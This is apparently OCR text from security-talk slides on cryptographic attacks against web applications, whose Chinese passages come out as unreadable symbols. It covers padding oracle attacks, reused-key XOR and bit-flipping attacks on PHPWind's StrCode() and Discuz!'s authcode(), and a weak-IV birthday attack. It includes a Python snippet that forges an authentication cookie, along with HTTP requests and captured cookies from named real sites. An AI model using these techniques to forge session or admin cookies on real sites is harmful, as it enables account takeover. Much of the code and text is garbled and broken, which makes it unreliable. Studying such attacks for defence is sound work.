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Baseb4.

HeX:
ead603c8bb7d4e......
= \xea\xd6\x04\xc8\xbb\x7d\x4e......
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Stream cipher: &1,
Block cipher:

Cipher Key Size/Block Size
AES 16, 24, or 32 bytes/16 bytes
ARCZ Variable/8 bytes
Blowfish Variable/8 bytes
CAST Variable/8 bytes
DES 8 bytes/8 bytes
DES3 (Triple DES) || 16 bytes/8 bytes
IDEA 16 bytes/8 bytes
RCS Varlable/S bytes
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CBC-mode:
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Stream cipher => XOR. RC4

DES T

3-DES ECB
AES ~ CBC
Blowfish
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IV: #¥ItkmE, —xx—%, THRZE
nz#&xX : ECB. CBC. CFB. OFB. CTR

¥ E: Blocksize
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Plaintext
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Key —  Encryption
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Ciphertext

Electronic Codebook (ECB) mode encryption
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member=abc||pay=10000.00
member=abc||pay=0.10
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Padding Oraclefy I &5 5 14

1. B EEHRBIESEX (ciphertext) , PAREXZNMIV (FHEtm=)
2. HEERBRAEYAREEIE, HESBAAEXNRESE

A BIHIIVIF % 2 H A~ [E] BY B 3L




Padding: PKCS#5

A single 0x01 byte (0x01)

Two 0x02 bytes (0x02, 0x02)

Three 0x03 bytes (0x03, 0x03, 0x03)
Four 0x04 bytes (0x04, 0x04, 0x04, 0x04)
...and so on
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Encrypted Input

Intermediary Value

Initialization Vector

Decrypted Value

g

Block 1 of 1
1 2 3 4 5 6 7 8
OxF8 | Ox51 | 0xD6 | OxCC | Ox68 | OxFC | Ox95 | Ox37
N ¥ ¥ ¥ ¢ ¢ | ¥ N

| TRIPLE DES
¥ ¥ ¥ ¥ ¥ v | ¥ Vv
Ox39 | 0x73 | Ox23 | Ox22 | Ox07 | Ox6a | Ox26 | O0x3D
| D|D|D|D|D|D| D
OxD0 | OxD0 | Ox00 | Ox00 | Ox00 | Ox00 | Ox00 | Ox3C
N ¥ ¥ ¥ ¥ v | ¥ v
0x39 | Ox73 | Ox23 | Ox22 | Ox07 | Ox6a O:QGQ 0x01
N

VALID PADDING



Encrypted Input

Intermediary Value

Initialization Vector

Decrypted Value

OxF8 | Ox51 | OxD6 | OxCC | Ox68 | OxFC | Ox95 | Dx37

7 IR 7R RO RO IS R
| TRIPLE DES ]

PR [ I IR NN RO R
0xas | ox12 | 0x23 | 0x22 | 0x07 | oxsa | 0x26 | 0x20
Ox31 | Ox7B | Ox2B | Ox2A | Ox0F | Ox62 | Ox2E | Ox35

S/ (RN I I R BT IO
o v
Ox08 | OxD3 | OxD8 | Ox08 | Ox0E | Ox08 | Ox08 | OxD3 >
M — it

VALID PADDING
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Intermediary value XOR IV = plaintext

BLOCK 1 of 2 BLOCK 2 of 2
4 5
Encrypted Input (HEX) | 0xF8 [ 0x51 | 0xD6 | OxCC | 0x68 | OxFC | 0x95 | 0x37 | = 0x85 | 0x87 | 0x95 | 0xA2 | Ox8E | 0xD4 | OxAA [ 0xC6
2 20 IV IV N B R 20 2 I IRV BV B 2 B
[ TRIPLE DES ] TRIPLE DES
20 20 IRV I N B A B 20 20 I 2 IRV BV B N B
Intermediary Value (HEX) | 0x39 | 0x73 | 0x23 | 0x22 | 0x07 | Ox6a | 0x26 | 0x3D 0xC3 | 0x60 | OxED | 0xC9 | 0x6D | 0xF9 | 0x90 | 0x32
Initialization Vector Ox7B | 0x21 | Ox6A | 0x63 | 0x49 | 0x51 | 0x17 | OxOF ) | 0xF8 | 0x51 | 0xD6 [ OxCC | 0x68 | OxFC | 0x95 | 0x37
20 20 IV IV N B R B oIV v R 22
e ‘:\
Plain-Text (Padded) B R I A N : 1 2 ; 1 ; <ﬁu: 0x05 | 0x05 | 0x05 0x05>
\¥ “‘/

VALID PADDING



T 45 2R

Padding$gix:
Request: http://sanpleapp/home. jsp?UID=0000000000000000F8S1DECCEEFCISHT

Response: 500 - Internal Serwver Error

Padding IE 7
Request: http://sampleapp/home. jsp?UID=000000000000003CF851DECCEEFCAS3T

Response: 200 0K
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Reused Key Attack

E(A) = AxorC
E(B) = B xor C

E(A) xor E(B) = (A xor C) xor (B xor C)
= A xor B xor C xor C
= AxorB

E(A) xor E(B) = A xor B



PHPWind StrCode()

function 3trCode($string, $action = 'ENCODE') {
f§action != 'ENCODE' && §string = base64 decode($string):
fcode = ' ;

$key = substr (md5 ($GLOBALS[' pwServer'] ['HTTP USER AGENT'] . $GLOBALS['db hash']), 8, 18):
$keyLen = strlen(fkey):;
§strlLen = strlen($string):;
for ($i = 0; §i < $strLen; $i++) |
$k = $1i % $keylLen:
$code .= §string[$i] * $kev[$Kk]:
}
return (faction != 'DECODE' ? basef4 encode($code) : §code);

for ($i = 0; $i < $strLen; $i++) {
$k = $i % $keylLen;
$code .= $string[$i] * $key[$k];



Padding Oracle Attack

ck.php, IEIERIFFTE:
$list = 'BCEFGHIKMPQRTVWXY2346789';

function cookie($code) {
global $timestarmp;
Cookie('cknum',StrCode($timestamp. "tV . mdS ($code. $timestamp) ) ;

H

"1315107631"."\t\t".md5("73669"."1315107631")
e e e emggesy  emsmeegsseaveny

A+ (8] 2% 3G IERY A+ [8) 2%
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D www. mtkjm. cn/register. php#breadCrunb
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1% BCookie

Set—Cookie: be2fl c_stamp=pErl:slriti . ;

VY EBesponse Headers

Cache—control: no-cache

Connection: close

Content—Encoding: gzip

Content—trpe: image/png

Date: Fri, &4 lov 2011 ©7:43:18 GMT

Pragma: no-cache

Server: Microsoft-IIS/6.0

Set—Cookie: be2fl_c_stamp=1320392598; expires=Sat, 03-llov-2012 @7:43:18 GVT; path=/
be2fl_lastvisit=188%091320392598%09%2F ck.php%3Fnowtimel320392588970; expires=Sat, 03-|
be2f1_cknum=AQUF BVIJAWIBD]10XAYEBwIRAWAADVEBCVRAUIUAAEcHBI1ABCQMBBEATAWE ; ISR IRl TEY- | 4
Yary: Accept-Encoding

X-Powered—By: ASP.NET
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2%0:
BA3Z1 = B (a1 + md5(32iERS1 + AFE]&1) A
S5
21 E(A)
S5
2 E(B)
ki |

RA3C2 = i8] 852 + md5(32iEfD2 + i E)#2) B

MD5 Rainbow Table !



Crack It!
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Bit-flipping Attack

E(A) xor E(B) = A xor B

A xor E(A) xor B = E(B) )
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Global.php: gdconfirm()
ode), 'cknum', 1800)) {

Common.php: safecheck()

function SafeCheck($cookieData, $pwdCode, $cookieNawe = 'AdminUse:
global Stimestarp;
if ($timestamp - $cookieData[0] > $expire) { |

Cookie ($cookieName, '', 0):
return false’

} elseif ($cookieDatal[2] '= mdS($pwdCode . $cookieDatal[0]))
$clearCookie && Cookie($cookieNawme, '', 0);

return false;
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Bit-flipping Attack:
A xor E(A) xor B = E(B)

FaiE Y 8]
$timestamp- $cookieData[0] < 0
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plaintextl = "132039Z2525"+" £\ L"+ndS.new ("QPG3WS"+"1320392525") . hexdigest ()
ciphertextl = basetd4.btddecode ("AQUFEVIJAwIKAZzZ1oVVFRAQALOEFCcEEQUDCVOMEQLWEgXxWEwWIOEBQF]

bigtime = "2000000000"
plaintextZ = bigtime+"\ i\ C"+mdS.new ("2ZMYSU3 "+higtine) . hexdigest ()
ciphertextz = '!

i range (0, len(plaintextl)):
ciphertextZ += chr(ordiplaintextl[i])

A

ord(ciphertextl[i]) * ord(plaintext2[i]))

cookie = bhase6d4.bodencode (ciphertextz)




Discuz! authcode()

$keyc: IV

$ckey length: IVIE
$keya: FFE M2
$keyb: HMACHkey
B ERT [B] B 21

function authcode (§string, $operation = 'DECODE', §$key = '', §fexpiry = 0) {

§ckey length = 4; I

fkey = mdS($key ? §key : UC_KEY):

$keya = mdS(substr(${key, 0, 16)):;
$kevyh = mdS (substr ($key, 16, 16)):
$keyc = §ckey length ? ($operation == 'DECODE' ? substr($string, 0, $ckey

Scryptkey = $kevya.ndS ($keva. $keyce) ;
$key length = strlen($cryptkey):



authcode() 77 1

79uz_d57e auth=d08fwJQZGV/
999z5gNLk50lofp9dd2gDkWXVeg1RFQGwWKicuA
Maih5M5aefx0ycOfLAc2jtZL/y3J7TpUh2GsAPI;

000000000067c38ee9ecalb04dccccbbbb

A+ (8] 2% HMAC (16b AR 3
(10bytes) ytes) (xx bytes)
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Reused Key Attack:
V—X—%&, SEILEWERY]
XOR_KEY = fn(lV, KEY)

Bit-flipping Attack:
HVMACSH LA WIEEEZEX
HMAC = fn(Plaintext, KEY)

substr ($result, 10, 16) == substr (mdS(substr($result, 26).$keyb), 0, 16))



authcode() weak IV

IVERIAKIE A

4 (XHFIDiscuz!fiizs) :

fckey length = 4;

FERAEZEETIVER (a-20-9)
364 =1,679,616 NIV
LR INZIVIBRER, NZZXsAWEE

-- EWEPH i+

1, 24bit IVIE5/\BT & [ 52
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define ('UC KEY','asdfasfas');

$plaintextl = "2626";
$plaintextz = "2630";

§cipherl = authcode($plaintextl, "ENCODE"™ , UC _KEY):

$cipher2 = authcode($plaintextz, "ENCODE™"™ , UC_KEY) ;

ISE: crack($cipher2) == $plaintext2
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POST /member.php?mod=logging&action=login&loginsubmit=ye:
Host: photo003.com

Connection: keep-alive

Referer: http://photo003.com/home.php?mod=space&do=home
Content-Length: 63

Cache-Control: max-age=0

Origin: http://photo003.com

User-Agent: Mozilla/S5.0 (Windows; U; Windows NT 5.1; en-l
Content-Type: application/x-www-form-urlencoded

Accept: application/xml,application/xhtml+4xml, text/html;
Aecept-Encoding: gzip,deflate, sdch

HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Sep 2011 03:59:11 GMT

Server: Microsoft-IIS/6.0

¥-Powered-By: PHP/5.2.6

set-Cookie: 79uz dd7e lastact=131536795130%mernbe
set-Cookie: 79uz dd7e invite auth=deleted; expir
set-Cookie: 79uz dd7e auth=d08fwJQIGV3ZF393z5qgNL



Birthday Attack

EE2A % BESE— X (M12.72):
1 - (364 / 365)3° ~ 7.9%




rrackinlainl. rminheri

c2 :
cl[1l] == c2[1]:
cl[1] + !




I iFauthcode() ?

Reused Key Attack:
V—X—%, SEILEBERI

AIILBFAIV, #HEIEBEIVAMID
f5l: ZELCookie/5fAZZ =L

Bit-flipping Attack:
HMACSH L ZMEEEZEX
MAERER

paY)
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